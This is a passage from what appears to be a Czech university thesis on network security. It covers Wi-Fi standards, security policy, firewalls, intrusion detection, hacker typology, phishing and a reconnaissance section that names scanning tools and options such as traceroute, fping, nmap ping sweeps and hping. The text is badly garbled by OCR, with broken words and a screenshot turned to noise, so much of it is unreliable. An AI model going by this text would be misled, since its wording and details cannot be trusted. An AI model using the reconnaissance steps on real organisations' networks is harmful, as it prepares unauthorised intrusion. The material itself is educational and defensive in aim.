obsazenou v paketu. Tento mechanismus tinmjezakzvanou rezervaci media.

7.2 Software wi-fi

Pro wi-fi si¢ jednotlivi vyrobci zanechavaji tith nastaveni, jako je zakladni IP adresa
zaizeni, zakladni / defalutni heslo. Abychom $pqgili do zaizeni a mohli zé&it prvni
konfiguraci, je teba toto z&zeni fipojit pomoci sfového kabelu. | kdyZ se jedna o AP
nebo jiny hardware, je nutné ho niégyet nakonfigurovat, coz Ize provésit$inou s pomoci
webového klienta, tzv. GUI web. \ipadt ponechani navpaizeného AP v z&kladnim
nastaveni neni problém, aby sedai& nebo ,,odposlouchavadostal do nasi interni gita

zpasobil réjaké Skody.

7.3 Hardware wi-fi siti

Antény

> Panelové
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> Sektorové

> VSesngrové

Spojeni mezi AP a anténou zajie pigtail mezi z&zenim a PC ipslusny kabel,

vétSinou kroucena dvojlinka.

7.4 MoZnosti pfenosu pomoci radiovych signdl

IEEE standard 802.11 ra#eni penosu pomoci radiovych sigdaldle pouzité
technologie. Rozflim a popiSu zakladni uZivan&eposové moznosti modulace

radiového spektra wi-fi.

Frequency-hopping PH spread-spectrum radio

U tohoto zpsobu vysilaci zdzeni proskakuje mezi danymi frekwemmi pasmy a na
kazdém pasmu vysila datovy proud. Mozné frekmémpasmo je 83.5 MHz a je roddno
do 75 nebo 79 kanal zbytek je jako ochranné pasmo proti ruSeni zesexinich pasem.
Z toho vyplyva, Ze celé pasmo je rélho na 1MHz kanaly. Tento signal pak ,&&apo
téchto kanalech a za kazdych 30 s ¥igst vSech 75, na kazdém kanale vysila pouze 400

milisekund.

Ptimo rozprostené spektrum (Direct-sequence spread-spectrum)radio

Rima sekvence - uziva matematické koédovani a ro#prasgnal,cili prenaSenou
informaci, po 14 kanalech oi€é 22MHz pasma. Zakoduje jednotlivé bity do 11kétov

sekvence, takzvany chipfifimac¢ znovu dekdduje inverznim &gobem.

» Barker kod 11bitu
Vysilané bity 010
Jsou nahrazeny 33bity

Nasledr odeslany

YV V V V

Druha strana pouzije funkci inverzni pro slozemdimace
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Standard 802.11g
OFDM (Orthogonal Frequency Division Multiplexing)

Systémy s timto #igobem koédovani rozt prenosové pasmo natgi paet uzkych
kanah. Signal se fesunuje pomaleji, ale je kval#i§i, vyslednou rychlost nam da set

vSech dohromady.

Standard 802.11b 2.4GHz

High-Rate Direct Sequence (HR/DS, ale také DSSS)

Rozprosené spektrum uziva matematické funkce pro rozptységnati do Siroké
frekvertni ¢asti. Zd&izeni na strahklienta (@gijem) pouzije inverzni funkci pro ¢vné

slozeni vysledného.

CSMAJ/CA (Carrier Sense, Multiple Access with Cabhis Avoidance)

Metoda pistupu k mediu - ovliiuje chod kazdé sithifi. Tato metoda znamena, Ze
koncové z#zeni naslouchd, zda jeizzeni volnéci dostupné a zda imie gFistupovat
k mediu vice koncovych #aeni s prvky znemadizijicimi kolizni stavy. Na zakladtéchto

ramal posuzuje stavy:

» RTS
» CTS
» ACK
> NAV

Se vaziistajici popularitou wi-fi zézeni a wibec celkové technologie riataji
poZadavky na lepsi zabezpai této komunikace. Sifrovaci technologie WEP ntde
zpiasob kodovani je dlouhy 64 nebo 128 a 256, lpracuje na principu RC4. Nevyhodou
tohoto zmisobu zabezgeni je, Ze éstava v nerdnném stavu heslo prariptup k access
pointu. Toho lzeiznymi zpisoby zneuzit, ikaz k tomuto tvrzeniiedlozim v praktické
Casti prace. Mezi dalSi moZnosti jak zamezit abyadst’ byla vidkna, je zakaz vysilani

SSID, ktery vysila do okoli sy nazev.
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8 BEZPECNOSTNI POLITIKA ORGANIZACE

Kli¢ova slova: Bezpmost, Autentizace, Autorizace, Digitalni podpis

Ve \tSiné pripadi nezavisi pouze konfigurace hardwarovychizzni na bezgmosti
celé organizace. Ale v mnohépadech je to také bezpstni politika celko¥ zahrnujici
pristup vSech subjektlS k datim. V tomto gipact navrhuji jako bezp@ostni pravidlo
pro rizné stupt arovre rozhledu, ktery jednotlivi pracovnici maji v kontgeci. To
znamena, Ze jednotlivé Useky informéo systému nemohou \Mitf dalSi moznosti
komplexniho systému, ale jenom pouze to, co mu ldadmninistratéi na nezbyts nutnou
dobu. Timto zamezim W{stupu do oblasti, kterym uZivatel nerozumi, ifjo@ct odkud by
mohl zneuzit jemu neéena data. Za soast bezpénostni politiky povazuji i kontrolni

mechanismy k asfenti identity-"”

8.1 Oveéreni identity v informa¢nim systému

Pro o¥ieni identity uZivatele IS jegd¢ba souhrn pravidel, ktera ndm potvrdi a &arze
konkrétni osoba ma pravdgigtupovat k gmto informacim pomoci vhodnych mechanism
jako je autorizace, autentizace nebo digitalni modpyto mechanismy zaky Ze gislusny

host nebude zneuzivan jinou stranou.

> Autentizace
> Autorizace

» Digitalni podpis

Autentizace je proces,iipkterém dochazi k a¥eni uzZivatele $ piihlaSovani do
systému. Nafiklad:
e Jméno

*+ Heslo
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Existuji ale dalSi varianty &keni uZivatele, jako jsou biometrické Udaje (otiskti
snimani rohovky, otisk celé diamatp.), také hoj& vyuzivané. V fipac, Ze proces
autentizace a jehofiséh budou piznive, ejde o¥ieni uzivatele dgasti autorizace.

Z toho vyplyva, Ze uZivateli jsouigtupné zdroje a je mu povoletigiup do informaniho
systému. Samdejm¢ nemusi jit jenom o inforndai systém, ale také @zné jiné druhy

sluzeb, nafiklad vyuZziti internetového obchodu, internetovékmavnictvi a jiné.

Digitalni podpis”
Odesilatel:

Z nami podepisovanych dat se W@ kryptograficky a kontrolni sdget.
Z kryptografického satiu se na zakladtajného klée vypaita digitalni podpis.

Prijemce:

Kontroluje, zda se digitalni podpis shodujeegejnym klicem odesilatele, nasletise
kryptograficky vypgita kontrolni sotet pijatych dat a porovna s daty odesilatele.
V piipac, Ze souty odpovidaji, je vSe @aveno.

Z vySe uvedeného vyplyva, z8jpmce ma viejny kli¢ odesilatele. Timto kKiem smi

ovétit digitalni podpis odesilatele, ale nelze jej pppzo vytvaeni digitalniho podpisu.

Digitalni podpis ndm zatwije:
» Pravost fivodu

> Pravost obsahu
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9 BEZPECNOST NA HRANICI PRIVATNI SIT E

Kli¢ova slova: Firewall, Paketovy filtr, Proxy, Stavdinewall, TCP, UDP, ICMP

9.1 Firewall

Firewall - poskytuje sitimizné druhy sluZeb protsivou bezpénost. Tyto sluzby
mohou byt: peklad sfovych adres NAT nebo virtualni privatnit sS¥PN a zkoumani
provozu do privatni sit Jinymi slovy, firewall je hardwarové / softwarow§baveni
schopné monitorovat tsha vice Urovnich. Tud jakési Uzké hrdlo mezi interni a externi
siti, obvykle internetem. V praxi to znamena, Zengitorovan veskery provoz atjghod
timto mistem. Existujedkolik druhi téchto takzvanych ,bran”, které mohu r@tt podle
toho, jakym zgsobem pracuji, a pak tyto funkce v§dim. Pokud se tyka softwarového
vybaveni, to je ueno pouze pro koncové itzeni, jako je PC. Ja&Stpredtim nez se
pondim do hloubky firewallu, popisSu zakladni princigya/é komunikace. Mimochodem

- firewall v prekladu znamena ,protipozarnidze

9.2 Sitova komunikace'

Komunikace mezi @itaci na siti probihd progdnictvim protokolu TCP/IP, tento
datovy tok je rozélen do malych jednotek, takzvanych pakePaket obsahuje pole
S riznymi signaturami, jako je zdrojova a cilova ti#sla porti na ktery paket s#iuje.
Paket je nekolik druha: TCP, UDP, ICMP.

® Firewall je jednim ze zéakladnich pivkazdé st Zdroj"**
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Vrstva OSI modelu Firewally dle vrstev

7. Application layer Proxy brana

6. Presentation layer

5. Seassion layer

4. Transport layer Stavovy firewall

3. Network layer Paketovy filtr

2. Data link layer

1. Physical layer

Tabulkac¢.4 Vztah ISO/OSI modelu a firewaﬂulﬁ]

Druhy firewallu
» Paketovy filtr / Packet filter
» Proxy brdna nebo také Aplikai firewall / Proxy Gateway, Application Firewall

» Stavoveé firewally / Stateful inspection firewall

9.3 Paketovy filtr

Pracuje na &dvé vrst¢ OSI modelu. P&t mezi ty nejjednodussi typy firewallu, ktery
zkoum4, na jakou adresu portiighazi provoz a z kterého portu, a také zdrojovou a
cilovou IP adresu, takzvané rozhrani, ze kteréhgdaket vyslan. Paketovy filtr zkouma
jednotlivé pakety prochazejici siti. Dle pravidaektavenych v politice firewallu posuzuje,
zda bude paket vpust ¢i nikoliv. Mezi vyhody tohoto firewallu péit rychlost spojeni a
naopak nevyhodou j€itis mala kontrola fenasenych pakiet Celkova @innost ochrany u
tohoto typu firewallu je tedy velice nizka. Terip paketoveho filtru se vyskytuje ve
vSech nowjSich operanich systémech, jako je Windows XP 2000, Unix /uxnBSD a

Mac.
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Princip firewallu

» Prozkouméva obsah hlg&ky kazdého datagramu
» Prowtuje zdrojovou a cilovou IP adresu (odesilatsjemce)

» Owvéiuje zdrojovy a cilovy port (podle toho vi, pro jagogram je uren)

9.4 Proxy brana (Application firewall)

S terminem proxy brana je spojovana branapti&agni Urovni OSI modelu (proxy
gateway). Ve své podstasoftware, ktery je spudt na firewallu. Vystupuje v sitich jako
prostednik mezi klientem v siti a serverem. Kpact vyslani pozadavku na webové
sluzby jakémukoliv webovému serveru zaSle kliengsighlize& (browser) suj pozadavek
na proxy branu. Nasledmpak brana kontaktuje server s poZzadovanymi uddjteré klient
projevil zajem. Brana padeka na odpoxd’, kterou geda klientovi. V pipad proxy brany
klient nemusi nic tuSit o existenci tohotoifizani, pouze browser musi byt spré&vn

nakonfigurovan.

9.5 Caching proxy

Ve své podstatstejny mechanismus jako proxy brana, jen s tinditem, Ze v tomto
piipadt existuje pardt’ (cache). Cache si pamatuje pozadavky kiliemtpi opétovném

pozadavku poskytuje vlastni zdroj pro tento pozallgaouze tehdy, ma-li jej v paitn

9.6 Stavove firewally (statefull inspection)

Princip &chto firewallu je stejny jako uipdesSlého paketového s tim rozdilem, Ze si
ukladaji povolené spojeni do pétina tyto informace nasledrvyuziji pti dalSim pokusu o

spojeni. Toto nastaveni ma vyhodu v rychlosti aligémi udalosti a nasledném
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vyhodnoceni a urychleni rozhodovaciho procesuasfedia vyplyva, Ze v pitbéhu

nasledné komunikacetrke firewall sam rozhodnout, zda dané spojeni pavalikoliv.

Dokaze poskladat pakety do jediné relace. Z#mabezpeéeni si¢ dosahneme tak, ze
propojime firewally do tzv. clasteru, kde si naskedyto brany vyndiuji své informace.
V piipact ,Ze nastane problém a jeden zfirewallu nasledebude dale fungovat,
pievezme jeho funkci firewall nasledujici. Timtoagpbem zamezime vypadku ochrany

vnitini sig.
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10 BEZPECNOST POCITA COVYCH SYSTEMU

Kli¢ova slova: Windows, Unix / Linux, Bez§most

Globélni bezpmost pa@itacovych systém neexistuje, avSakizeni se pravidly pro
bezpéné uzivani osobnich neboiemych systérn existuje. Normy, které nastavime pro
fyzickou ochranu, musi bytidledné, ovSem jen mizivé procento soukromych uéitrat
hardwaru ma sva fyzicka fiaeni zabezpena tak, Ze by je nikdo nemohl zcizit. Ve své
podsta& nejde pimo o zcizeni fyzického kusu hardware, ale o ztc&#anych dat, i kdyz
samozejmk je mozne, ze nameékdo vykrade kancetéa odnese si naSe diskydearitymi
adaji. Aby takova situace nenastala,igbt gistoupit k rozhodnym opgnim. Mizeme
si vibec dostaiin¢ zabezpét svij pocitat? Samoejme ano, a proto jeféba nastavitad
a soubor postupa pravidel jak se chovat, abychom nevyitvoizikové situace a nasledn
nevykraili pfipadnému Uténikovi vstic. Klicova slova jsou navrZzena tak, aby

zpochybnila dvéryhodnost opekaich systém a k nim gistupujicich uZivate.

V dnesni daob je treba brat v ivahu mnoho fakigrkteré se dotykaji @dtacové
bezpénosti - od ,uzivatele primitiva® po vysoce inteliggmiho odbornika. Pokud si
koupim dond patitat a nepipojim ho na gi, jsem v bezp#? Relativie ano. Pokud ke
mné negijde na navivu kolega a nedonese mi zavirovany soubor, po kiesé mi
zhrouti cely operai systém, tak do té doby seibn citit bezpeéne. V piipac ze ale
nemam pistup na si, moje virova databaze je zastaral&které programy nemaji zaplatu

(patch).

Predesly v¢et moznych situaci mi dava moznosti volby:

» Prevence jako zaklad
» Detekce jako odhaleni

» Napraveni jako znovuobnoveni



UTB ve Zling, Fakulta aplikované informatiky, 2011 42

10.1 Systémy rodiny Windows”

Windows jako opetai systém je aktuatn nejrozSfergjSi operéni systém pro

desktopové piitace.
Nabizi mnoho komfortu:

» Prijemné uzivatelské rozhrani
» Napowdu
» Automatické aktualizace

» Bezpe&nostni firewall aj.

Tento systém je ale napadnutelny, a to z pohiganika napiklad Spatnym (slabym)
heslem, které Ize uhodnout. Heslo bylanjevit znamky, Ze je dostate silné proti
slovnikovym utokm. ZneuZiti chybného kodu v aplikaci, pomoci kiea& narusSitel riize
proniknout do naSeho systému vyuzZitim (exploit@mBci exploitu je mozné tuto aplikaci

piepsat a nasledrvyuzivat zdroje.

Nasledujici pravidla by ¢hdodrzovat kazdy uZivatel opérach systén:

Aktualizace systému

Aktualizace databaze antivirového programu

Pouzivat z4platy na programy

Cist a nasledhreagovat na zpravy systému
Nepistupovat na zdroje internetu, které nejsou dopmrany
Nepoustt neznalého uzivatele k systému

Pravidelrg Skolit uzivatele

Mit zvolenou bezp@ostni politiku a kontrolovat jeji ptmi

YV V.V V V V V V V

Neotvirat emaily i s minimalni pragdodobnosti hrozby, zvi&Stne pak exe
soubory

» Pokud je to mozné tvib uZivatelské Gty a uZivatelska prava
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Windows nedostatky: fjp otevieni vice aplikaci mame zaphou plochu, prace je
nasledd negehledna. Neni podpora viceuzZivatelského systéniunévé instalaci se
Windows hlasi pod administratorskynitém. Je nutné nainstalovat antivirovy program a
ten upgradovat. Neustale otravné hlasky a komueijk&terd probih& prastdnictvim
dialogovych oken. Restartiipinstalaci program. Pokr@ila znalost pi nastaveni siti.
V piipact bezpenosti ,hacknuti“ druhou osobou gipadnym kvalitnim exploitem z&ii

pacitac a nami uloZena data ndidad tim, Ze naformatuje disk.

10.2 Unix /Linux

Rodina opekmich systérm Unix/Linux je podstaté kvalitnéjSi nez jakykoliv Windows
(z mého pohledu dit¢ ano). Systém, konkré&nUbuntu, nabizi fijemné uZivatelské
prostedi (GUI), rgkolik pracovnich ploch, takZze je mozné mit na kaphbSe spugnhou
jinou aplikaci, coz praci v systému feplediuje. Linux nabizi mnoho moZnosti
v prikazovéradce, kde Izetiznymi prikazy vypisovat najklad hardware dostupny Ishw na

daném pc.

Linux je open-source distribuce, je vyvijesidi vyvoj&i po celém s#té, nabizi volg
Siritelny kod, takZze se kazdy uZivatelite podilet na tvorba vylepSenich. Navic na
Linuxu pripojeném do sé bezi firewall v pozadi jina struktura nainstalovanymiograni
nez u Windows. V Linuxu se instaluje vSe dddimového adresd, kam ma fistup jenom
root (superuzivatel). S tim souvisi fakt, Zefippd napadeni systému je prapddobné,
Ze dand osoba smaZe pouze adegdéam opravéni vstoupit ma skutay uzivatel, coz

jsou domovské /home adrésatakze timto svym chovanim moc Skody riszi.

Z praktického i uZivatelského a be&pestniho hlediska pokladdm za beapgsi
systémy Unix / Linux, jak jiz vyplyva z vySe uveddo.
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11 SYSTEMY PRO ODHALOVANI PR UNIK U

Kli¢ova slova: Utok, IDS, HIDS, NIDS

V prechazejicich kapitolach jsem rozvedl informace dctsi a zgisobu jejich
komunikace, nasledno uziti genosovych medii, spale¢ s rychlosti penosu. Do
pocitatovych siti krond firewallu, ktery definuje pravidla, jak bude konikace probihat,
které porty budou, nebo naopak nebudou povolenydcssiti instaluji navic takzvané
senzorové $bvé systém¥ pro detekci piniku. Princip funguje stejh jako u
bezpénostniho opdeni domu, které na zakkadlymu v jednom z pokdj hlasi svému
maijiteli, Zze v dom néco hdi. OvSem bez senzoru pgada tom mist by pravépodobré
horelo dale. Na stejném principu pracuji systémy mtekici ptiniku do si€é. Systémy IDS
monitoruji veSkery provoz a podere aktivity na siti nebo na pibacovych systémech
(serverech). Tyto aktivity zaznamenavaji, dale pagtupuji k protiopatnim na zaklas
scanovani poit které jsou oteené, nebt toto je jedna z aktivit druhé stranyepl
naslednym pmikem do systéiin Nasled# potom informuje spravce pomoci alarmu (alert)
o pripadném pokusu. Vifpads, Ze dojde k pokusu, systém bglrbyt schopny ho zastavit.
Poznat, zda jde o uUtok z viiif nebo vajSi sig, je samoejmosti. Tyto systémy selil na

sitové a host systémy, zalezi na implementaci.

HIDS

Zalozeno na softwarovém robu, ktery identifikuzdsahy do souborového logu
(systému), hlid&innosti aplikaci a snazi se detekovat systémovanva Utoky na tuto

oblast.
HIDS priklady:

» OSSEC HIDS

91DS Snort je mozné rozmistit takovymizobem, aby byla ochrana co moZna nejlepsi a vgtrbitnovou

strukturu (senzor a ids). Takto zlepSit kvalitutageni pfiniku na rozsahlé siti.
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» DRAGON SQUIRE

NIDS

Stovy systém pracuje na hranicich siti nebotrzaych mistech v siti nebo prvcichésit
Monitoruje veSkerou komunikaci vSech hosfuzli) na siti. Nasledh vyhodnocuje
piipadnou komunikaci, analyzuje pakety a snazi sekdeat nefipustny kod. Tim zvySuje
bezpénost komunikace v siti a funguje jako protigeai proti naslednym pokésh o
pranik.

NIDS priklady:

> Snort (nejznargsi™

" Dodaténé informace o IDS Snort je mozné vyhledat, nasletporéuiji tento server. Zdro[j1:'9]
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12 UVOD DO OBLASTI HACKINGU

Zantrem této casti prace je poskytnout informace z oblasti hagkjncrackingu a
podobnych odtvi takzvané “Spinavé prace” v oblasti KTast hackingu by #a ¢ten&e
seznamit se schopnostmi a zvykychto naruSiteél, moznostmi jejich odhaleni a
s podobnymi pojmy, které souviseji s tematikou.ikdél je v dneSni dab ochrana
informaci pokladana zaitezitou, neli bychom wdét néco o aktivitach druhé strany, ktera
se snazi (a to vkazdém okamziku vyvoje) byt o kralged, alespt co se tyka
shromazdovani informaci. Néklad o operadnim systému. Proto bychom také&lmmit
dostatek informaci jak tyto osoby vystopovat nelahadit jejich nepovolenodinnost,

popipact jak zabezp#t svou IT infrastrukturu, opeéai systémy a §i

12.1Hacking'®

Hackers, nespravrozna&ovani jako painikafi, jsou osoby, které se snazi nalézt diru
v konkrétnim systému a tou déj proniknout. Proto jsou oztiavani jako pénikési. Tyto
osoby maji dostateé znalosti v oboru inforndaich technologii. Hacker pronikne do
systému, zmocni se pra@jrdalezitych dat a zmizi, nejlépe nepozoro¥dak, aby si toho
uzivatel nebo uzivatelé ani nevSimli. Tyto skutkgpacha pro své pidteni (mozna
zpatatku), poté uz jen pro penize. Mezi komunitou hacke uznavartloveék, ktery umi
tyto diry v systému odhalit. Dokaze proniknout getému v rekordékratkémcase apod.
Dale hacker tyto své znalosti nabizi za penizep rbvadi Utoky pro vylepSeni svych

osobnich hodnot.

Zakladni @leni komunity hacke.
» Blackhat
» Grayhat

> Whitehat
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V oblasti hackingu je mozné nabidnout mnohoovar. Od jednoduchého
odposlouch&vani na siti nebo posilani emailu, paipnuti do si s rekolika firewally. S
rostouci slozitosti typologie 8iroste také natmost ukolu pro hackera na jeho znalosti

Z této problematiky. Proto mohu ozitehackera za osobu velice fundovanou v oboru IT.

Je mozné seibec proti atokm branit? Ano, Ize, a to zvySenou znalosti realnych
informaci o daném systémti technologii. Cim vice jedind vi o chyt jakéhokoliv

systému, tim vice je systém z hlediska bémpsti zranitelny, ohrozeny.
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13 METODY

13.1Inventarizace

Metoda inventarizace a skenovaniftipahezi zakladni zgsoby, zda lze systém
napadnoutéi nikoliv a jakym zmsobem (¥tSinou se jednd o server). Inventarizace =
sledovani systému nebo typologie sitkolik hodin, dnii, mésiai - nez je proveden realny

utok.

13.2Vyhledavani stop

Tato uSlechtila metoda se zabyva shrato&anim detailnich informaci o daném
systému (tzv. hledani jehly v kupce sena s umystelezt). Hacker ziskava detailni
informace nafiklad o organizaci nebo intranetu, az pyladministratora a rozsah &it
Technika, ktera se pouziva v tomto &W, je gritomnost v internetu, wejn¢ dostupné
databaze atp. Pomoci této metod§zeme ziskat doménova jména, IP adresy, IP adresy
zarizeni gripojenych do internetu a dale informace o vzdalangkpojenich do sé& a
podobrE. Technik, jak toto proveést, existujekolik. Tento zgisob ziskavani informaci je
opravdu hodny trdivého ¢loveéka, ktery stravi hodingasu tim, Ze bude shromdvat

detailni informace o konkrétnim objektu.

13.3 Sledovani webového serveru organizace

Programem:

Teleport pro windows

12 Teleport Zdroj:

[1.1o]

Wget Unix Zdroj:

16
.
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Wget pro Unix/Linux

Témito a dalSimi programy lze ziskat webovy servey ptadium offline. Zde pak
muZzeme studovat tyto Udaje a ziskavat hodnotné irdoemo organizaci (telcisla,
strukturu, pob&ky). Nekdy je vhodné studovat html kéd, kde jsou v poznaéchkuvedeny
¢asto cenné informace o konkrétnim subjektikl&d, kde mohou hackeziskat informace
o konkrétni firng ¢i spol&nosti - na www.seznam.cz - Ize najititou spol€nost a na
www.nic.cz pak trochu informaci navic. Jako daiklpd uvadim web, kde izeme také
ziskat cenné informace z oblasti hackingu http:Amemderground.cz/, ale také o dirach

v programech, které mohou rrgmivé ovlivnit nasi praci.

Déle pak je mozné sledovat zpravy arg@vané materialy v novinachtasopisech a

pomoci této techniky nalézt pro hacketdeditou informaci.

Jednou z dalSich moZznosti je pouzit kvalityiledav&. Umi vyhledavat informace
daleko efektiviiji nez jeden z &nr¢ uzivanych vyhledavd. Tento umo#uje prohledavat

vice servel najednou.

Poté mZeme zapojit hledani @doménasubjektu v diskusicde knapiklad
administratorieSi problém, jak dlouha ma byt délka hesla a kjeréejefektivijsi.
V piipac, Ze je takovytlanek objeven, iveme s radosti konstatovat, Ze subjekt pouziva

hesla s délkou 8 znaknebo jakym zfisobem ma nastaveny novy firewall.

13.4Chaos

Informace aeskych spoknostech® a aktualnich informacich nalezneme na webovych

strankach. Zde Ize vyhledatepll®zné informace o fuzich spéleosti naceském trhu a

13 Informace o spolmostech Zdroj:

1.4
1
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vyuzit tak vzniklého chaosu k ziskani informaci melmvnou proniknout na server,

zanerng instalovat viry a ty potom vyuzit ve gvyrosgEch.

JLIE]
Fle View Help
| st B oo
7 ’ saiw Welcame
13 . 5 Zkou mani Slte ) NetScanner il for dezrming
Tooks renge. a0 car o) a who ouery onegch system.
Whos Centol
# \ g‘l;a(a;pb::?:s?s fet 7 Erle Whis Queties
(5 Fioer q 7l - 7 EndeSrat Whais
Irjjin CatleSen  CtatP {10007 p p——
Identifikace domén a jim patich Gumeuis || sy | w1
Jlm m IC 21805l
3 E m Sel, Target IP | Fostnare ‘ Ding | Tae | Thuis ‘ Rezpoaci. .. | E
, - - by 10.0.1.1 H 1A UR - 1A
sitovych adres Seznaréchto Grtsame wae Boow - m
W, Sl Seves MeeDikn | 10.0.0.3 w20 (2. D - 10.0.1.3
, . . E1Cwm 10.0.0.4 URS-ENTCOR 0:0Ex... 2 - 10.0.14 | |
dostupnych zdrdjje v tzv. whois L LY — A TR
4 Tracereute - 10.0.0.6 H IR R - IR
L Cantre F ot 10.0..7 i IR iR - IR
d ataba’z I’C H4 Y 10.0.0.8 i I3 R - I3
. 3 Winsock by [ dudeprdg 10.0,1.9 i 1A R - 1A
213, Tk (e PiCSTSte 110 0010 5 G2E.. 2 - 10.0.0.1
A (e Setver EftHadsFi 10.0.0.10 H IR IR - IR
% lpizard 10.0.0.12 H /28 IR - /28
et Preferences LoadHadts 10.0.1.13 H IS R - IES
10.0.0.14 i 1A R - 1A
10.0.0.15 i 1A R - 1A
10.0.0.15 i 1A R - 1A
10.0.0.17 i 1A R - 1A
10.0.0.13 i 1A R - 1A
10.0.0.13 i 1A R - 1A
10.0.0.2) i 1A R - 1A
10.0.2.21 : A R - A
10.0.0.22 : A R - A
10.0.0.23 : A R - A
10.0.0.24 : A R - A
10.0.0.25 : A R - A
[ | 10.0.0.25 ; 1R R - 1R
10.0.0.27 ¢ 1A R - 1A
ﬁ nnin L "//? N - "//? j
Pogamirfo
For kel press F1 rr’i

Obrg&.1 NetScanTools"?

Zjiseni typologie® sits pomoci traceroute v Unixu - tento program vyuZieée TTL v
paketu IP, kdy $ praichodu z&zenim dekrementuje hodnota v tomto poli o 1 pcadesi
nulové hodnoty Time exceedeth§ vyprsel). B prvnim vyslani paketu s hodnotou 1 nam

paket dorazi do prvniho faeni a vraci se 2h V poli IP paketu pak vidime adresu

4 Whois databaze. Zdroj:

1.8
1

!> Na otestovani aktivnich zdfoj siti existuji stovky nastrdj prograni, utilit. Jejich viet v této praci by

pusobil negehledr.
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prvniho uzlu. Timto zj,sobem niZzeme pokréovat a inkrementovat tak hodnotu TTL pole

vzdy o dalSi hodnotu, abychom zjistili detailni Eogtruktury sit.

Zaizeni, které je schopno grovat pakety, je firewall a nebo gmova, a byva
vétSinou umisino pred server. Visual Rout®- tento program by #h byt piiznivy z
hlediska Ul pro Windows. JakoZto hacker nam zobrazi cestu a IP adresu od zdroje k
cili. Dale mizeme pouZzit ping, ale tato moznostégsow dosti naréna. Pro vyhledani
dostupnych IP vilpads, Ze jsme jiz na siti, Ize vyuzit IP scanner, ktedm ukaze
dostupné zdzeni, poté nemusime ping zkouset, ale rovriejitpna cracking v fipact, ze

bychom to takto zamysleli.

V Unixu je to trochu jinak, Unix [bash]$ traceite napriklad.net. Ve 8t Unixu je
obdobou fping http://www.linuxsoft.cz/script_defphp?id_script=19, kde s pomoci
dalSich pepin&u (a, d, f) nizeme zobrazitiezité informace o vSech moznostech fping-

h. Navic je mozné spustit hromadny ping pomdepmae -sP.

Windows hacki& mohou pouZzit volé Siteny Pinger, ktery je dostupny na serveru slune.

13.6 Skenovani porti

Z informaci ziskanych naslouchanim portu TQFD&® zjistime, ktera sluzba tanizh a
které aplikace se pouZzivaji, a v neposleth® typ OS. V pgipad, Ze je rktery z

programi Spat® nakonfigurovany, je mozné proniknout do systému.

'8 visual route je zajimavy program pro otestovasiyteZdroj:

[1.11]
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Programem Nmap ineme provéagt ICMP pingy, ale umi také TCP skenovani. DalSi
metodou je hping http://www.hping.org/, kde pomgéepinge -p umime specifikovat
port.

Na druhou stranu jeetba hromadné utoky monitorovat admt ping pati ukazkovy
program, ktery to dovoluje - http://www.snort.org/
DalSi moznou pofickou je BlackiCE, ktery tyto metody dokaze monit@b

http://www.networkice.com/.

13.7 Cracking

Rozdil mezi hackingem a crackingem je v tomhack@& néco udtlaji a cracké se to
snazi napadnout. Cracking je v pravém slova smileghdlni¢innost. Zabyvaji se ji osoby,
které touzi po &Sim finargnim obnosu a snazi se &mu dostat pomociiznych metod. K
této ¢innosti vyuzZivaji pra¥ své precizni znalosti z oblasti IT. Cratikierdi, Ze vSe co je

prezentovano pomoci 0 (nul) a 1 (jetkk), nizeme napadnout.

13.8Hackeri (Hackers)

Po vatebani vySe uvedenycktvmohu konstatovat, Ze hac¢kgsou osoby, které hledaji
slabiny v operénich systémech nebo sitich, ale také v aplika¢&thsitich atd. Vyuzivaji
slab&d mista pro vniknuti. Tuto svainnost @laji pro zabavu nebo Kl finan¢nimu

profitu. Jsou experty v daném diivi.

13.9Rhybareni (pFishing)

Cesky ryb#eni - v posledni dabdost obvykly zgsob podvodu, ale dnes je zcela nutné
si owrovat informace, jelikoz tento #apob podvodu je docela ropSiy. Ritom jeho

dopady, zejména fin&ni Ujma, jsou nemalé.
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Rhyba kontaktuje vybranou osobu obvykle pomoci emaildefému nebo webu.
Ackoliv jde o neopravéné chovani, isobi docela dvéryhodrg, jedna se totiz otanysiny
trik. Provadji je osoby velmi nadané v oblasti inforéméch technologii, vybavené
znalostmi fiznych programovacich technik, marketingovych agmygnalosti. Tito Uténici
manipuluji s naSiid/éryhodnosti a tvd se jako skutna, opravdova bankovni instituce.
Timto zpisobem se dostanou k petbnym informacim, ndjklad ¢istim &tu. Mohou
pozmenovat Udaje, nap znmenu ¢isla &tu pro odchozi platby, a takto Wédvat nemalé

finan¢ni obnosy.

Databaze phishingu http://www.phishtank.camioziuje nahrat podvodné stranky,
které se  pokouSeji o  takovéto  aktivity. Existuje uzbla  APWG
http://www.antiphishing.org/phishing_archive.htmetld se zajima o tuto problematiku.

MuzZeme zde objevit spoustu zajimavych informaci @ $&tipiré podvod.

13.10 Crakeri (Crackers)

Cracké v IT - je vyraz pro osoby, které se snazi vyuaiiadve suj prosgch. Nebo
jde o znéeni tohoto zdroje informaci, ndklad webovych stranekéake firmy, ale takeé
muze jit o pozminéni zdroje. Je vhodné také takto odhasobu znalou oboru, ktera
dokaze prolomit heslo, n&glad WinRaru nebo celého opéngho systému. Cracking je

nespravné ozrani pro hacking a toto oslovenigasto nespranzantnovano.

13.11 Lamy (Lammer or Loser)

Jedna se o vyraz popisujigiovéka neSikovného, ndiklad v oboru informeénich

technologii nebo také zatetnika. Da séici, Ze je tatlovek nefilis znaly daného oboru.

13.12 Zavér ¢asti hacking

Existuje mnoho Zjsohi jak vniknout do systému, odhalit informace a ndisleje

zneuzit. O tomto problému bylo napsano mnoho odlbripublikaci. Proto bychom si
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s

meli uvédomit, Ze jednou z nejdezitejSich &ci je informace chranit, ale ro¥h studovat
informace pochazejici od hackecracket a dalSich. Jednim ze@poklad pro UsgSnou

ochranu dat je jejichianysiné zabezpeni a disledrgjSi owiovani informaci nez dosud.

Cilem, a ¥tim Ze i ginosem tétaasti, bylo poukézat na velké moznosti existujiciho
software, kterym rizeme proniknout do ciziho opéraho systému. Identifikovat iieme
také pokusy o tutginnost. V takovém ipack zalezi pouze nétendi, jakym zpisobem

piedloZené informace vyuZije.
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. PRAKTICKA CAST
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14 UVOD DO PRAKTICKE CASTI

Cilem praktické ¢asti je poukdzat na mozna rizika spojena s prowazionw
pocitatovych siti. V pipadt Ze administrator nepouzije pid&hd zabezpmni a
bezpénostni mechanismy, tak nechava otea vratka do IS. Proto je velicdilezite
pracovat na bezprostnich opdenich, ktera budou vyuzivana danou organiz&ci
soukromou osobou. iPpifenosu dat totiz lze tato data odchytavinymi zpisoby a
nasledg z nich sestavit jyodni komunikaci a takovym netaktnimizobem se dostat

k informacim, které nepdatdanému subjektu.

